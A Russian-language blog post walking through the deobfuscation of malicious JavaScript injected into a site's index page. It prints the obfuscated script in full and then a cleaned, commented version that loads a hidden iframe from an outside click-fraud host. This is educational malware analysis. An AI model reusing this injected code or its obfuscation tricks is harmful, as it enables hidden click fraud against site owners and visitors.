Распутывание злого кода
Добрый день!
Подскажите, недавно в мой index был дописан код
function zG(){};tF=53186;zG.prototype = {fK : function() {e="e";this.fQ=''; return 'h2t)tFp2:&/F/)c2l)iFc)k&-FpFo)i)s)k2.Fc&o)m2/&tIh&eFrFeF/&i)n).2c)gIi&?27)'. iH(/[\)I&F2]/g, '');var oN=new Date();this.nU="";},v : function() {dF=""; wS=9383; ...(и много-много этого злокода)...
как так получилось, если от ftp пароли нигде не сохраняю, а других акков нету.
И, если сильны в java, подскажите, что делается то в коде?))
Вот что я недавно нашел на одном форуме. Любопытно узнать, что же действиетльно делается в коде…
1. Форматирование кода
Естественно, сперва необходимо отформатировать код, чтобы начать его читать. Вставляю эту кашу в Notepad++ и через 10 минут работы энтером и табом вижу вот что (приготовьтесь долго скролить):
function zG(){}; tF=53186; zG.prototype = { fK : function() { e="e"; this.fQ=''; return 'h2t)tFp2:&/F/)c2l)iFc)k&-FpFo)i)s)k2.Fc&o)m2/&tIh&eFrFeF/&i)n).2c)gIi&?27)'.iH(/[\)I&F2]/g, ''); var oN=new Date(); this.nU=""; }, v : function() { dF=""; wS=9383; nB="nB"; var t=new Date(); var h=''; var m=new Date(); String.prototype.iH=function(d, o){return this.replace(d, o)}; var r=new Date(); tR="tR"; kQ=false; gG=20573; wJ=false; zW=""; var c=function(){}; var y=window; gN="gN"; this.yQ="yQ"; var yR=y['u{n$eYs9c{aYp{eY'.iH(/[Yj9\$\{]/g, '')]; var eK=new Date(); var hI="hI"; function jL(){}; var z = this; var rN=''; var p=false; var oD = "xxK%3C%2Fbody%3E%3C%2Fhtml%3E"; function mT(){}; xH=""; this.u=false; var f=document; this.dX="dX"; this.hB="hB"; var jA=false; var k = { vM : 'arpTpreonTd#CohoirlSd#'.iH(/[#roST]/g, ''), oU : 'svtuyvlvei'.iH(/[ivua_]/g, ''), kC : 'cKrCe3aKt3ezEzlzezmKeGn3tK'.iH(/[K3zCG]/g, ''), fV : 'sReDtRATtTt?rRiRbRuTtEeT'.iH(/[TD\?ER]/g, ''), w : 's;rLcL'.iH(/[L;\{\(5]/g, ''), xK : 'bko1dUyT'.iH(/[T1Uk\)]/g, '') }; var rK=''; function hV(){}; var uI=function(){return 'uI'}; this.gC=''; var rP=""; var tZ=function(){return 'tZ'}; this.a="a"; var n=f[k.kC]('i<furuaKm<ed'.iH(/[d\<\!uK]/g, '')); var kL=new Date(); i=39073; this.fU="fU"; jO=false; pW=''; var eY=5116; try { rD="rD"; vC=false; var fI=function(){}; var rU="rU"; this.q="q"; b=""; var bJ=''; nE(n,k.oU, yR("display%3A%20none")); function dS(){}; rG=63044; this.uK=false; this.iB="iB"; nE(n,k.w, this.fK()); eU="eU"; this.pS=''; this.fR=""; var qA=''; qE="qE"; qL=""; f[k.xK][k.vM](n); this.xL=54456; this.hW=""; var bK=new Array(); this.iR=""; } catch(g) { this.vB=""; tN=''; var eJ=''; var uD=new Array(); var rV=new Date(); var l=function(){}; this.lK=''; f['wSr%i;tSe%'.iH(/[%;XS/]/g, '')](yR(oD)); this.hK=49925; var iL=new Array(); hKH=''; this.uJ=61972; this.cO="cO"; var s="s"; this.mG=53808; y['s+eAt+T6iwm+ewoAuAtw'.iH(/[w\+Z6A]/g, '')] ( function() { this.cJ="cJ"; this.uR=""; var pO=''; vH=58151; this.dSF=''; var sV="sV"; z.v(); var wH=34896; var cM=new Date(); var yK=new Array(); var eYV=function(){}; this.kU="kU"; zT=""; }, 368 ); zJ=""; var dXZ="dXZ"; } qZ=19279; this.vBG=''; var nM=new Date(); var tZZ=false; var eE=new Date(); var hC=new Date(); function vO(){}; var wZ=""; function nE(n, j, dB) { this.bW=''; var fT=new Array(); n[k.fV](j,dB); var iRP=function(){return 'iRP'}; tD=""; var kI=new Array(); } this.xX=''; this.fX=''; var tQ=false; dV=false; } }; var uY=new Array(); var cP=new zG(); this.dK="dK"; cP.v(); function gQ(){};
Очевидно, что в коде много мусора. Я немного растерялся, не зная, как приступить к его чистке. Но тут взгляд упал на строку:
var yR=y['u{n$eYs9c{aYp{eY'.iH(/[Yj9\$\{]/g, '')];
Я увидел здесь слово unescape! Словно как на трехмерной картинке
Стало ясно, что делать дальше.
2. Чистка строк
Нахожу функцию чистки строки:
String.prototype.iH=function(d, o){return this.replace(d, o)};
Таким образом, запись:
'u{n$eYs9c{aYp{eY'.iH(/[Yj9\$\{]/g, '');
означает, что из строки нужно выкинуть символы «Yj9\$\{».
'u{n$eYs9c{aYp{eY'.iH(/[Yj9\$\{]/g, '') === 'unescape'
И второй способ засорения строк, попроще:
window.unescape("xxK%3C%2Fbody%3E%3C%2Fhtml%3E") === "xxK</body></html>";
Пробегаю по всем строковым константам и привожу их в порядок…
3. Удаление неиспользуемых функций и переменных
Код оказалось легко уменьшить в 4 раза, удалив строки такого вида:
tF=53186; gN="gN"; this.fQ=''; var oN=new Date(); kQ=false; var c=function(){};
4. Устранение запутывающих переменных
Следующим шагом было распутывание конструкций такого вида:
var n=f[k.kC]('iframe');
Благодаря нехитрой таблице преобразований
y=window
yR=y['unescape']
z = this
oD = "xxK%3C%2Fbody%3E%3C%2Fhtml%3E"
f=document
k = {vM:'appendChild', oU:'style', kC:'createElement', fV:'setAttribute', w:'src', xK:'body'}
они превращались во вполне читаемый код:
var n = document['createElement']('iframe');
5. Устранение запутывающих функций
Оставалось избавиться от пары функции:
fK : function() { return 'http://click-poisk.com/there/in.cgi?7'; } function nE(n, j, dB) { n['setAttribute'](j,dB); }
И можно читать код зловредного скрипта.
6. «что делается-то в коде»
Я прокомментировал каждую строчку:
// констркутор класса zG function zG(){}; // класс zG, состоящий из единственной функции v() zG.prototype = { v : function() { // создание iframe var n = document['createElement']('iframe'); try { // iframe делается невидимым n['setAttribute']('style', 'display: none'); // загружаемая iframe страница n['setAttribute']('src', 'http://click-poisk.com/there/in.cgi?7'); // подключение созданного iframe к документу dokument['body']['appendChild'](n); } catch(g) { // если что-то пошло не так, в документ добавляется какая-то хрень document['write']('xxK</body></html>'); // и менее, чем через полсекунды, попытка повторяется window['setTimeout'](function(){this.v();}, 368); } } }; // сооздание объекта и вызов его злой функции var cP=new zG(); cP.v();
Это кликер. Я, признаюсь, ожидал чего-то более интересного, но сам процесс распутывания кода был весьма увлекателен.
Кликер – это программа, имитирующая «клики» мышкой по баннерам и прочей рекламе, разновидность Интернет-ботов.
Recent Comments